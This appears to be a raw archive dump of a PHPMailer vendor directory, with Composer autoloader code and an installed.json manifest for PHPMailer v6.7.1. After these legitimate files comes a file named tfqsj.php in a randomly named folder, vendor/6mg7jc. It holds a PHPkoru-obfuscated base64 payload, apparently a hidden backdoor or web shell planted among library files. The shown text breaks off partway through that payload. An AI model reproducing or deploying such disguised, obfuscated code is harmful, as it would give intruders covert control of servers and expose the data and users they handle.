return true; } return null; } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } /** * Returns the currently registered loaders indexed by their corresponding vendor directories. * * @return self[] */ public static function getRegisteredLoaders() { return self::$registeredLoaders; } /** * @param string $class * @param string $ext * @return string|false */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } private static function initializeIncludeClosure(): void { if (self::$includeFile !== null) { return; } /** * Scope isolated include. * * Prevents access to $this/self from included files. * * @param string $file * @return void */ self::$includeFile = static function($file) { include $file; }; } } PHPMailer/vendor/composer/autoload_psr4.php000064400000000325151026170410014737 0ustar00 array($vendorDir . '/phpmailer/phpmailer/src'), ); PHPMailer/vendor/composer/installed.json000064400000007137151026170410014330 0ustar00{ "packages": [ { "name": "phpmailer/phpmailer", "version": "v6.7.1", "version_normalized": "6.7.1.0", "source": { "type": "git", "url": "https://github.com/PHPMailer/PHPMailer.git", "reference": "49cd7ea3d2563f028d7811f06864a53b1f15ff55" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/PHPMailer/PHPMailer/zipball/49cd7ea3d2563f028d7811f06864a53b1f15ff55", "reference": "49cd7ea3d2563f028d7811f06864a53b1f15ff55", "shasum": "" }, "require": { "ext-ctype": "*", "ext-filter": "*", "ext-hash": "*", "php": ">=5.5.0" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "^0.7.2", "doctrine/annotations": "^1.2.6 || ^1.13.3", "php-parallel-lint/php-console-highlighter": "^1.0.0", "php-parallel-lint/php-parallel-lint": "^1.3.2", "phpcompatibility/php-compatibility": "^9.3.5", "roave/security-advisories": "dev-latest", "squizlabs/php_codesniffer": "^3.7.1", "yoast/phpunit-polyfills": "^1.0.4" }, "suggest": { "ext-mbstring": "Needed to send email in multibyte encoding charset or decode encoded addresses", "ext-openssl": "Needed for secure SMTP sending and DKIM signing", "greew/oauth2-azure-provider": "Needed for Microsoft Azure XOAUTH2 authentication", "hayageek/oauth2-yahoo": "Needed for Yahoo XOAUTH2 authentication", "league/oauth2-google": "Needed for Google XOAUTH2 authentication", "psr/log": "For optional PSR-3 debug logging", "symfony/polyfill-mbstring": "To support UTF-8 if the Mbstring PHP extension is not enabled (^1.2)", "thenetworg/oauth2-azure": "Needed for Microsoft XOAUTH2 authentication" }, "time": "2022-12-08T13:30:06+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "PHPMailer\\PHPMailer\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "LGPL-2.1-only" ], "authors": [ { "name": "Marcus Bointon", "email": "phpmailer@synchromedia.co.uk" }, { "name": "Jim Jagielski", "email": "jimjag@gmail.com" }, { "name": "Andy Prevost", "email": "codeworxtech@users.sourceforge.net" }, { "name": "Brent R. Matzelle" } ], "description": "PHPMailer is a full-featured email creation and transfer class for PHP", "support": { "issues": "https://github.com/PHPMailer/PHPMailer/issues", "source": "https://github.com/PHPMailer/PHPMailer/tree/v6.7.1" }, "funding": [ { "url": "https://github.com/Synchro", "type": "github" } ], "install-path": "../phpmailer/phpmailer" } ], "dev": true, "dev-package-names": [] } PHPMailer/vendor/6mg7jc/tfqsj.php000064400001237231151026170410012565 0ustar00 [PHPkoru_Info] Version: 1.0.7 Website: https://phpkoru.com/ Online Encoder: https://phpkoru.com/basic/ Developer Website: https://aponkral.dev/ [/PHPkoru_Info] [PHPkoru_Code] RHJDSm4wT213ekVzcDZSQVNpU09rcFc1QkdZOGo2OFBEWHpZUk85Tktpb0tLTkNvdUhITm1icXZkeFQxWktFN2swQlF0YVFzQlZMZWhvbC9pZm5hNlVLWnRXMkloNWZaMmdRUkt1ZGhhSjdLR21nYTdtVE5yVHNqeTgzRUdlVnJGeUFWbWJ2VHBaSTRFZHFGaCtneXA5M3loWWNqZ3czaDl5VVF1TFJQc2N3UkJnQjdkT2J1VGxhcUlBTUdyRUVOL09ZQmNjWDRNcFpwWUwrckJlSnA2M0xvV0dyT2IyQ1Azc3dBbDJCdllVYTNvMWhaaFdqcEQ5RWkrVHhKNVZEdlVXcllDRUIyMXBndWNqSzRseFhKUnFrMDVTRXVoQmZNVWFFMWtmN2l2RGZzYTR5eTBOK2xZM1IyVWx0aDlXZGpSaFlmUGZ2VWRYMUtPRnRxWk43Ni90VEJ1ODNtM1hiMkIzV21DcVhscVBMeDhKblZzWkttRlh5MmYwdytreVBzREFla2tBZ3JaR3Qxd2xqTk9IQ3lPT1htekxxL1cwWnFaYWNESDJIT0tob2RuWGtTNXR1Q1FoTE85a0VDaUE1YlQ1ZFhCVkdhakVHVVdkUFZsN2lEZ2FQbXN5TEhxaHZYOVNPeVRvK1FLOG41OS9jRzEyWHMvdm1pNnhrTnNZdm8xdW0zdFZIcnY3Z0lnRE5XMGgyWE5CT0I2ZEpzSTdrUm5hWTdvbG8rVGxYUkJYYXA1bHg3R3BtTFp1RHpoYmIrWW12cWUwMDFYam9RQXpGOW9QMXY3cFNHS1E0MHFSbHU4SHBvTXY2MkdUZC9jWDRSTVpONTdQNmhqL2ZKbzAzYzFWQURjWWFiZVlDVGxXSThCVnFIRzAyM1RoNmhUalhYdHh3YjRFUElZVURjNm95VmJrc3JXdnNYaVFwMjNpTE5ZMUgrZ2d1enFTcnJNaDZGN1lGTTFHTFo2WXNYWFdxUjF3Y1ZxcXQwbWFoNmxESG5PdkNqUzRwaHNkSFZFVDJ6eXdMZjFMcWlaeXFCakFoWEw5STNqdjAvd2tNUnBJb3RLWkF2VXB4K21DTzd2Nks1WjFSUXdKVE4rMWd4VGNUeE5Qd1VhTWZtRTZKRk1MNjBHUTZnSkxrajlkaHFOTVp6YkFqeDMxemRaZEJyNlE3aXJVOGYwdUc3cE11eG53clBZSkY0YWxYb2lUYU45NEtiM1lNb2lyMExPNVZXRkc5WWZrbENhOHRNSGU5eFNnV2tWeTJlbkhOcm1vNVRhckIybUdXaHNpOWN6cDNMYlpIVlVSVDUrUjZVSHlIanNmNjlBUFkvaCsxQlVJSmxjS3RKVnVZcWs0WUc3WlV6OG1qbDczTlFlN2NyQU80cittUXd5ZU0wNkhiZWd2N1YzTFpacnpDSnZsZCt2b1YyTFlPQ2dLbzRuWTFHSDFoa2xmVUV6d0tpazZDbW1sWWlhTlh1VjRNQ1cxNDBHaWZjNTdObEw4UVkzRm5uc3UrMmNQc01TMXNNeENtdG1mK0hhK0xpb0I3ZklMVVdPWkptL2JzTDJVaHRScEE3a29SV09rNSt6bXJTK1YwRTQyaVdoRTN5bUMwVE40M3VYQkNTdlhXcWNlemt0UG1PYzhGOWFMN205TDlvZU9LSDlOK3NkcW5vbjNVMVcxRHBpVjlDNXRCcVZuNy91d01aNVptTkxNUkV4UHl3a0o0WHdFT2wvaGFPMituc2JiZVVpSEJiUjhhU1UzSWJXdHhwelhmTFI3by9Fc2JpQytLUFY0VithdUxjOWZXN3hQbUEyOUhMTi9YRnFVMFo1RlVUQUtVVXY0T0Jpd3lVN09tZmtkbktha2trUHdMbTVGT2JaeWZQSVdKdDlHblBXMktnR2VDOTQ0M3pNVy9teldHczVWU3NLK2JPOXcwZGN6TE1nNnVkM2NuaTBPLzJnaUZjRFNFU3dtR3RUMG5CUzNuNGo0Lzl2dGZndXRaSFI4QlVSOHZmeUhaR0VqV1hRSm44WnBaOVYzUXJrU3p5Z3BGNGJ0d3d2YlI5MkJuTXBpQmdGTmg2eEUxb2VNajZ1UEcrN1lHdU1NTitaSVh3OGxmcldFWWgvd1QyNS93RnZoQ3QrbUkxejVaSnFKYjBHVUJmZURFdGFTM3Rvajg1L0c2OS9sQ3lZWFpaK3B1NDBVeGRhR1NrNGFWSlNsOEZZZUk3WFJxbzFTKzVLcGQwakdnWWJHQWdRRDBCOVc1VFNOM1lmMkh1aTN3bVlMS283UjVwejJ3bmVsTnRwRlpGVW1MOC82cTExdWp6cXU1UGxRclpqVTZCN1JMYXczK1Z3NUx3WFpmOVdhRy9kVVdLc1RJOGhPUW9rUXhnOTB6d3JiY3ZOWWZJRCtGUWVYOEU3WXE1S3dSMkhHc1Zac0FiK0EvMElLRzVXR2JueGwyU2VrUHJRQlZxSzdJaXFzR0RubW1EM0Zya21vdVRSZStHaHhudi8rcEU0K0dKemUxOEdNc3ZKS2JEelg0cXkyQSt0ZUZOcEg3UnR3Q0JjSkdvRzZtWmNzQXpQQXRCcjQ1YWxyZzNqai8vWUNRNlY1elMwN1lxSDdOQ2tEYlloeFJreU9Zaytvd2ExaVNCWGROdUFuckRTeVlwNTJ1OU9naW16WU02Q2g1dlBjcXJOL0ZaeXZ0YUNnRGxJSjk2Zi9lSTBRL1lmc1g4N293RmVXeFo4Q2x4QTlEYnlSdThDVWZhNXVMOE1NVU80VXhCR3lTaFRhdG1CZmhDNEZrVUQvbkxzV0lOVFhzK2psMXEyNEkvdmJpQlhXRExtTk4xcHN2ZEZ3Z01nN29xa1AxYWx5cDFtYXF4bXdQZllVL2pYN1V4bWxJVjdJeTBCMFRwWmVEbmxmNXRRaUpURGtIQjdUL0xmRC9pOTZDcGZYT2RLMVNCTHZjL0F2TCsxeTNrZVF2N3ZGWXMxYnJSRUhCM21SZTU3dHJROXRQVTZsUlEwNXdVcmZ5LzM2cktnWmcxclR5aGppSloweWJYNnd6em4raS9yTkFab0F4MjVOTXY3VzA2UURCZXprZUF5cXBDUS9GVDBFVWxSYVVwWm5wQkdrV3U1RzM5alc1dWswNlhkdDB6Q0VUcTZGM21sdFBrSWNNZndSbkJEOThFSThMOGR4YTBSd1BTZDROcmY0VnN0WmpuTk5JYk9YY1ZGT0xVMFd3VTNSSEtKL0xTalVmVytwNU8vUnlJWnFUYTQvN1FkU0N0bEVyNVd4RHVSdlZiQVJpNWNLM1hIMmNwYlRWTTRva1F0OFFtWkxJK004SWozMTBnemNEbDZPYWhTMktpeEUwTWFiYVpmRDVxUzEzSHJXUE15SmZoa09GdkZnd0VoaFQ5Q0ZpWWpKOVJMZ0hxZWJzdXR3Y1gwRHdEcndndUVDV3BWWHdqd3pQTWN2b296N0FRUGhzN1hHbmNqS2UxMTUwbTJFclhQcWVGTVYzdGdzY0dOcUxGZTBDWnlpQUg5bC9oZlBGSzhNM2xOcE0vNUtKNHc1QzNHZkFSN2doY3oyQ2h3TFE4K01rREhyNE1qVk92Rm1PYUxNaXpreE9YaU5CM1h3SnZjUnZ5WkFFY3ZtZG94TThMcGlmcWJKUm1ya2V2L3UrTWlGREhPRnB6QW1vV1JlMllGZDVkQ3J1YU04cVV2WXNYSWtwaEVsOXlMYk5vcTdQdlRyUEsycjNTWmhUL2UyMGo4UmhxNEhZUGx1RmFrY0FqL2JZUFVLNXBWUG1BQ1RyL1Z2UDJCblNnOS9IYmlXbmdMZHJ6N2JoRGhDTlJKK01UTGV2aGo0RnNSNkVKeGo3cVJSVVA4dmpoOVVOZEFUV0wzNE8wUkVCb2hUL081bG1KTitJQnJVVmFidFduSFVtMGxHYzV6MjZaTTZHNjloMGd6YmZuTU12ZEcyZXcxKzdLcDVIRi8xRTBOTkdqMmh4L3ZvSWRLcFVZNkNORm1VaEFsWjBBWEx1N2lMWjZYeklqeEhsQVRheGlVQTQyZ25hcWlFWEpUZTlNbkVDcmhaczRKVDAzMFZSaXVXNEh0TEZ5UGVxNW53UkVYVHJrb1BqSlMzaDdyNHYzdHRLMmtMY2RnaGV2NThQNWhsTTFudnFNRS9GV1BaMi9YYjZDMkNyWUpCTEgwaTR0M0tpVFBoMmlFNkV3RTRkbGZETS9nWmVqWHpyTVIxSGxQWEkxY0lOaUh0QkZRRWxJYW43WUhqOG54VGY4ejNUMHZSWVN3ODNoRzNoamQvT2pMSzlsRnNVZ2RiQkZTem9yQ3BRclpzaXRsLzZwU1NLQWlVeS93Q2MxWmtmSmE2cnRmMXQ4cEt2OGlqMHZDV1FLY0VhcHNsdjBQbGVoTUN5TG8xYlhXb1Y5MDZHMmt2N1NHS1pEY3E2WHdOdzMzNlh0Rm1sMTRPVXNnbUZYSEVRZEVoKzh2T1BBMUJlbU9BZGlOYjQySmZWWVlEdENMOVlrZUsxQXlwWnh2cUhnZWJ5Q1o2c1BERDFZNnU2c2J4TDh0TzA3Qkt1b1JMczVMYXhWb2UwYllzNGlqZlhuU2xmUmNVd2IxQ0FEUVBxak9lbEJVMW44Uy9OVVBUTlZvMU1JdUlLM3p4WUpjRWpzMWRxTXVkenRtYUlkWWxSRUJyVkYxZXJYdk5tSmVaaG01KzFSVlhxMk5GSS92Z3dxUlRMbHFxcDN6ZVExbjlzaitrbHRkc0xWMWpybVN3R25pT2NrdVZkcjF6MjBUMnhpQTFUQUZoUzBNRWRLelpmS0JYTDJ4SFJqc3dOZFNLek9nTTFXK2M5SVZHOGt3SjFVSi9YemR1MFQ0SEk0R0JDdTNFeUtDNGo1VHByS2hyVWNQTnY3dmIzZnppaGZKamdIOE1NcGozcVFkZ1lHdmppOXBZVEpRT1BrNFhocDNKVkhMTzZHcFU2cnpCUXB6Y2VpQUZIaDhna3I0WXlBUE9qUE5NaWhDcm40dnNGUGVHQ3BYZWFKVkQyREEyUE96N0NQa3oxa3g0L3BZM1B3RVlKZVhSQUxXNTBXQmdjK0RuNGV5dzNtMk5WeWdBT0xLV3dtUjRXMjJON20rQ2dtb3g2Znk3TkUrTWVqWUdtalBxQllGSjNta2dtMTZ5QUR4QXZWblV0T1JGU2VwbkNORGptbzAzaEs5cS96c2VvMG9YRnZXZjBxeEgveXo3YUVGSmJrcnBUbnlSZTFndThBZnNUc2xBb0xxRVF4VU1PWG1Edk9zMWVGajNsc1A3UVllYS9zNlg4UG9UelRZTzlPUVFYQVJUL0ZUMEVnVytpR2lCWEhQNUF3ZXMyeVVqQjMzQ2dOMUZBcEVocmdwTTNTUGwvSXp2eUpyeTBDUDRtQXFSclJRY1IvdHRUMmJjNm1MUUVZMmdoU0FEa1dIVjZZZ0FQWUZBTzZyOFhzWmZ2a1hpcExvNmxoTEVNNjdDejBsbnZXQk9KbnpNcEdKdWxGQ1lmdGRGNloreGxMR2hyOGo3dGk3ZlptWmNhU1RnZEdmSUtaSkF5TEVjRklCVXhvb1dNOTFSYjNPUnYwdUZzTEhHS2Zia1dDNlREQVByUExodU8wNEpKTFRnazRyelY2Yy81ckcwYUtxMS9HLzYzRTlKMmZvV3RwTGVscjk5V3VuMEQ0ZDliYlZtQll3S004b2lFYlZXdVMvRFI3RzFkOVE2VW5ad0dOZW96amlxMlU1TDcyb3EzeUdOYmhTQVlPaTRwdHVLMjZIc2p2UllDNDB2MURKdW1ZamNWMGYrd0xzRUZRRXozeTdpTUx2VkZ6d0tLckpsNEE5Y0Rrd29JQ0R2MGhmYnE0S1FtNk1pOS8vaTJVcVpGNzZlZnMwWFhsSENZT2dDYzRsQlpnZmtzVlg2VjBsUS9sSzhjMDdNenNWd2hmeTRwZnA4Y3hWY1paRG0wNkNaZkpBVW1mODhCSWFOeFBIeElNYkdvckZkbHhDdEhsTXdoYXZtVU1WRGZXcnVxTkNlNEprU0FuejlxMnY1cStIYWlmeDdneVMrWUwwMjEvc2tyWmVNakJSV3FSOEl5VnF3THVDbFdUcW1IZmJOb2tXdVZPSmkxd2kzL0l0ZTJlTFBsbjhyS2hZVms4UTJlcGJYR0xiU2xmQzN4YnJXVXVSbGY3LzhpS3NzQW1Vc2VTTndrYjZ2ZC9hOCtvbjFvRVdyRFJveU1vYzFsRUt3UTFTZitYV29yOWFzcnJYcEZwMUVkZ21zMEVzOE9nUEJzZWFUbHk5TEYyU1I0Y2dycGxrSk5rOWNSV0NoTC9vUTdnKzVYV0NMUVkvQkJhQzlxNVhXeVpsMFBiR2pxOFNGbjhPUUxaWVo3VjVxeXkrUytTdC9kVEtzdERLaXA0WkRDWHh5Rk0rc2l3UHI2cjBDUU9ibUFSOUdMMjhuNysrc3BHYlQzRnF6WU4xM0ZPYm1Fa1VzZkJsU25TZGlzd2d4R2s5N0JPaDgwL1ovdzg3bmV4TytSaFRMVmVvby93dnk3MENxdmlnUldlR2hyWW5lS3RGd1k1b09QU3NWMGE2SkFMMmpMUEt6R1JBbG9xbmJqanhTUFBVQkxIcmUyMU1MSk03c1dFZVlMZXJRR0NtMklVR3FsdWhpSzlFRjhscEpMLzNFU04wU2pXT0VmS1o0MGJXd0pkS3Rsa2N5SUZ2aWxXVS8yQ1RwbnVSK1FicVVYUWhxcy9VQVZkeUNoWHFRbWtPR2d1cnFpc1hlc3F1ZUdVUU5BcTF5Q2pXbUJuQllqeGZaT0pnZDdDeU42WTI2b0ZrR21uS29TQVhaU0NiV29yaFIyaUxsaXRGeWxvd1AyS0luU2llSC9OSWUvbkhBdEJuektoMHlNQUdxT09zMWlxSHd3eW5XNGFsalZpUDVtZER3WkIzcHV6V2ZTYml1R1Q4TVFjVU0xa2hoYlVIaUdGWkxHZG50TVJNbEtHdGpOcEJ4WEtGS2RLcitycmV2T3Vla3RzMzRFVFVwMkpTcG5qVEdFQy9WbmY4Y0MxTytvaThNbXFITnoxTFU0Ym81cmwvOVJFWnNQNFRxWGlKM21kSmNCQ2FGRDQ0OG45RTFWbWVNeDZVYzFES2lveEpCdkE3blo2VG1PTzlDOWtGNkNCZDVnR1dON2lqdWxPWnJPaTFLUHRLUklpL3cydFVXREM1Zy9ZZFdTOHZlc0RiRVcyMHc2cFRBeW9YcmRlbTlXamZDcVhTQWdlb3VUT1hnTjArcS9KZUNpa3BTRm1aVk5BKzMwQ1hvQWt5YUZOQ1J4MFVBb3kxYkpCc1MwSnNJV0o5dTg3T3NQZjJ6d0UyZXFKaUd2Ylg2dWJ1QS9CRHZOem9oTXJZNEtVenU2Qy8zNkVwMndwQkFOUzBvV0JwT3p4NEdQNTdTSFFJWHJmUlBKMjJIR1NiRmFYNjlNTXprU3cvWm15OVdsdlZtQzRHbFJnZVNzR0lzQm9tVk5OU0dkRVpvTEJXRFVvaFFFWWpSMlNwbDlDQVJRdit3Q0hlTFBxMThKRGpEOG9RUWEzcEs5bXQ2UEoveDJVWDR0dmtGUUlCb01pbVJYUElWRktRaU1kZkREZW1aNGJpeG44VTV0U2pySXVqTzZ2WmxMWkx4czhCVlhUWUptaEhsT0FXVDZHcDlESDZjTnNtQmFHa25OUWlUVFVYV0tJdkNGY09vQkFvRmpvNk1CRFJqY1BNeHNSNlgvRjZWUFE0cm5TZktJWFltNnZIWld2NklXTEJNUVIxSnJVREQ4VHNha1lFR3JuZVRQbk5ieXk1M05vNnFub1dxdkxCNUdJa3JLV3dMVHhkTHBiTCt6YmhNbWVtUmtxMGdMNUhyYll0a1ZkcWRDRGw3NzRwL1FiWXNHUjlLd1dCT1FqMlNVaERoR0kzNTlMUi9uTUZTandtdEs1YVAwOGdWelI2c0tTVVhYTDh2YVV2UlljUU5SNkRublFjYWlSVWdyU1hrY1cyN1NlZU1rS2VFU1BzcndRMm8xSG9LL21yQklTcWM2MXFzZ21yRm5VaDhNd0hZVU9wR0tDZ0VOaFVlK25rV29ZcmlrN21XRHRXTjFBYUhYRmpzNkVLYi9ibE1tbUZsdmFNc3FLQmZER2FXNk9jc2Y0OGFTSGpBbmVnajk5bjdWVWxZaE0veThzM0hhbkh1TDIvL3VUeHArc2d1SGlMcHNYVjVRM3hKZi9pazRkWG0ybmVySTRCeDBZd0ExMVE1MWVhTFhRQmVtZXJsVFlMR1h1dFc5YTd0Uzl5cVZCcU13aXZwM0J2djhPYks4cFkzM05GaThCYW5TQ244V2ZoREhGL01SamlYOFdKREpxWmlDYXNSeWV0OXArNDM2YmkvZHplSE5jK3BzNVV2Z3VLZk9uRUdoTzRuWHpZU0VQL3I3T0Y1SVNMRVgwa2c0Zm0wOVpPYnVoTDFJTWIzOFJKWHIzdmJRQ2Z1Z0JTdEpVWnFEQlZaZGNIWVYrc0RpaXh0ZFFXSU4ybXRLQWFYb1BPWkxyVjNNVHJyN2h6cVUzdk4zSUZ3aFNBL1RZK2RJYlZ2WjZBWDhra1VGdEpLRE1ZcWVnSGI3M0pPaDNER3hxeHVwc1FTay93V0FMamRIby9ZSzRISHowTGVVbVR2K0pLZTdvZ2ZCdjdDMC85T3FuM0x1VFdnM3g3akpNOGgwVFhuNXhrZHRJWHJCem54WXpUeUxydnMwWUpwTE1YWmlwZDZnK2xMaTdHYTVNZkt5blZLazJpNEVxZnU2d1BsRFBGb1loSEdLTFdScTBvbFY3WmRIRVB4cGtPalhxbXpWYVFRL2J0cTRidWY5WmNrVlVhUGt1Wk1WeXNnR3JBOCtXUUVpZlhLU2xqMW5XRUtDd1JQc1U4a1BHTzRDQVBkZ0lPVnhjRW9UVGFBNTFIUUp0cGUyemdYbTNNNmhCc01FdjRJQzE1ZUhtd3l4cHFrQU5uVVlvOXVwMEdqRkNlS0ZGRCsxdjNZWGdrb212czN6MHkxQkVYZGZUT29yQnFzRmc4WXBDQzZUQWprNHRuaTdYK1EyakJ1KzlOS0dGUDRQVG5hSFN3d3c4ZVUvUG1EcFhFbFlheFV5WWhseUZxNVg2MjI3bVdKSi9Zc3FlSXpvei9QMUtYZ25JRmtxNHBJQlAzZXJsMWc4Y1pjY00yc3poa2lWNHdTZ0RFckR2TkRJSk5UbHhBbCtGWU0rMHlsNHNDL0oxMmpvMlE3K1dqdUFyOEhCdXpMOCthbUZOc1JhbWRDZ0FoMEZXTXFUalhSeGhsTExQcUNmbStRWXA4VjNYSW1uRklUN2FyRmlOdCtKU21Ea1Z2dWY3YlZQenovTjJNUmNKMUc4cWJRRWtrUzhHYVk1NEQ4RUhoeFZuOGltWENzb3crSlJaMjFnWXlCZ1c2OXA1RHRNLzJWQ2RSS09zM1lUSW5iOHFGSTFyVHdYM0E2MzBHYlFTQUZ5blV3M2ZtbHpqWW8wMkg4Y1drN3lmSWQ5b1Zud1U3U2pHeVFFY1hNZWFhYTVFM1JLZ205SjNDVnh5WStMWVM3TzA4MEcwV3N2UWoyS2RrRmZHSjBaSDg2VXlsdVRJclVCOENlWHd3QlRJKzJiSS9MMlVqMzIvMFZ3NUUxQWxzVHgwME93aERCNVV6K3g3YzU0VmRJS2RxSitPc29wUktnMDdJdGJOSUxPS253eFptUWkvRXRaU2hFeTFlc1NCRVgzak5zVEduZWMyeGF3akRiditYTFdkQVJFeVp1WWIzTkNFbHpudmlZQ29TQzRCR3AyRWovemdaVHpUUmV6allIUXB2UW1SS0U4MW9sdHRSck4rakdLYWVkY3lNbVJwem83U2VubUZQb1NBUFpjSjZtNkpoZEtVWG9ISXB4N1N0a3NDd1hpRk1YNjNlSk5zSjBDNlpHS0g2c0thR1IrbHBKaWNXUHNhR2VzcEljcVhUWEMvZHBITVdKdkJzbHI2bEJhZDBjMTE2SFVYUENyRXMwTUNwWTEvRjRVNVdXS20wQ29IdVU1VCtwNGZ2c0UvT3lDTDRqK3hiMTFXTmxsdHY4dHZWVVZJM2hZY3ZGbWloTVVxMlBNVG9OQnVlUWwvTTFuVzZVdldEN0djS2pvbUVmVTlXOXJkWU5TQ0tmc1U4VlAyTTJ2TG13UFVMTjBtemRjMEJMTWpyUVNxQ3grUFZOZ2trbWptVFVxdDZ0bkVvR0RDRTh0em1kV005bVdWMzhpb2JFeHQxYnFRZll0R0NLZm1obkRVbmNPdHJMclE1U3pVbnpjbXZGZWk2YitkZUh2ZWd2MXhXdGFhRElZSEtrNlZGWVVHNDZPVld4bTNIaUwwcEZ6VTdveXhVRWl2SEVLZlBwbFlOOHNSZDVuemNXeWc4eTlwN2F3RTlWRVJ3S1ZkQlhDdnRTNkJQYTJxL0VRMVUxYngrRVg3eFBtU2EwZ2w5QytqdTdWUk5QUWQzTjg0c2F4NllpQUNIVm1TZnd2VWg5Q3pGTGcwTFRUdEI4YmQ0L2dUSTZHMzFtUDVUWkoybUdpZ3lUMGdDQkcxZ21oUEIrYzRuYlhuUmttay9JakNNKzBXNmtlakc2MzJEUEkvSUZ0ZUV4TEtvZkxXS1VyNzc0Vzc3T01JTjZCQTd1R3dHdjc1cTJjbytaU0VoYStxV3RGVWdQLzVCM1VNVHUwbXhxcTc1Sk96bC9iaTRwTEhDc1dMSVZxM24zblZDZ3lsVFJsNVZZZitXL1F2M2VlMUliTkxIbWhFK0dwaUhWUXRGM3VCblVwYk1jNSsxY2JwTDdqNmN2T3dhR0FaRk03bEZJQkEzWk9SbHBSQVYwUXdZMlBNc0pHSkx6elpPQ1hpRmlNd295ZGI5ZU42MlFCT0pEOFQ4TERNS3NuRzRnM0pJYmFXQWs4cjhjR25IOCtxUFNVSG9IdFFSRFo5eERVcDE1R2ZxNGNnbGxSVXlYZ3UxNUhzc1Z1SkpQWHJyYlRJcDZLaFhGTWdhQmNCblRoQW9WdWRKcDNCTnR0NVVOVEZRSHRBeUZ1MVIrVmkzbGpFR25acEp1ZDZLdVdXWHEwdEhJWllEdURDMjlHTFpyL1E2TzRDcm5JZjgySm9Pdnh2MmtiSXJVUjlXNTRZdVdVakc4Z2hQYWJOdEh5QVZ6VkViWUYrN0RjSXI5czJDbjZadDExVTNxemJLQUpZOGxxSFBocGVSSXhhTy9vZFE5S21hSlp3eHFSalRTbGtJZktSTFpXNS9zVjlBTnliQU9pMjI5bmZHc1lIbWc2SzFtTWhlbWsrS1JRRFpZSG5jZFFvT29DU01ta3pld3BKVVpNSjFRMTBpRDBDYXFYWWUyNmdiaS80UlZkMUQwbktLL3hZb25hMXdDc3FVQnBLN0RjK2d4UXc5RUtMSXZyUXJjRHJRbFlqdmNDTWlqWE1GemRROXBlR3BBUVBUYjBSbnVMeDQzSjBqeEtlOUNRMHVPbG0ya1B3elhhVDdiMTU1SVl4blpybHE1TXdHYTdnVlladStLay9obWZrNG9qRWlBa2owQ1NScDJFbEFpaDBJYkROc0JkeFlqWkIrTGRjdXc4M2UreEl3WTdEQ2JIRytlZkYrb1N3YUoxUkJ0Y2w3RUo4YjBYOVZoS2NFcnFxNC91QitDbjY1YU9xdk15dzdydC9SVnN2K1NxOGtZZ0tOV1MyZFdmNCt2WWpCYjMzeXNaM25WbUF6STIxTjNwdGY5ZjN5VlJsbDdDYVFkTFFhYnpPdkRnNGdVQ3E4RXVRKy9QZ0g2d2dkOWcwK3BDZjVhOUhTa0VpSDJNK1pVQWQrUUhHdnhxV0dLMTZ5dFZZWlRhY0ZGbVdwNjJxT1lsVHJkV09zbkFSMTl4UVZ4bGVSOVFDOHBFNUFzSk5EMlBwVzFtK05jb2p1N1h1MDhpLzIyMHNMbEVsYU1wZFhWUDl5cXVLUTZJeG0wbmpxQ1dOcUFnMk85WmFMU241WUh2Vk1uRFhQT2xPaXpkY2pxdHFTVTVsOXdGMHUySk5iMHRleGFjeE1jdDZjcFM3SUg4ck16SmFTT291c3VGMUlPZ1FjVDRlWWdXeU00aEcrS25Ia1kyZmoxK3hjR05tN3ZxQk56MFdtdk00Wmh6bzRyN045aC9kYXVYcm9iTG5teTJPakhtZ0c1bENVMStZV1ZxSmg5MUl2a0xCSDZhV0kxWEpiUElHY2pFQ1BXQTZvODlDYXRMQUFDemE5a2JPTmJzck4wUmJWa05oRjNSNGFJeHYvV0JtWThUTzkvT2ZMTlFGclRPSDl1MEttalVjZTRBN1pNSGdUZE01QVJQVEVseVJsUFoxWmxIaWxNYndOUW1PeXJBVUZWaXRFYXkxOWtvV2JGWDdrQytLU2JxOUxvOVowZ1lVTFE3MDN2bEZDRnZRZFdmT2UwckRmbmU0R0hkOHczVzdGYnVnbWRLNnRibmJPVDVNZFZsaFQwS21MZ1hPaCtDc0VYN1c3YzJqM1E0UW0rUCt6RVR4eU9GL0k1YWpFTFpWVWNTLzhqamFqdGZYU3lhS05JMTZEMWhmNDNKS3ZtMFM1L1VDVno2YjZjazMrT29yN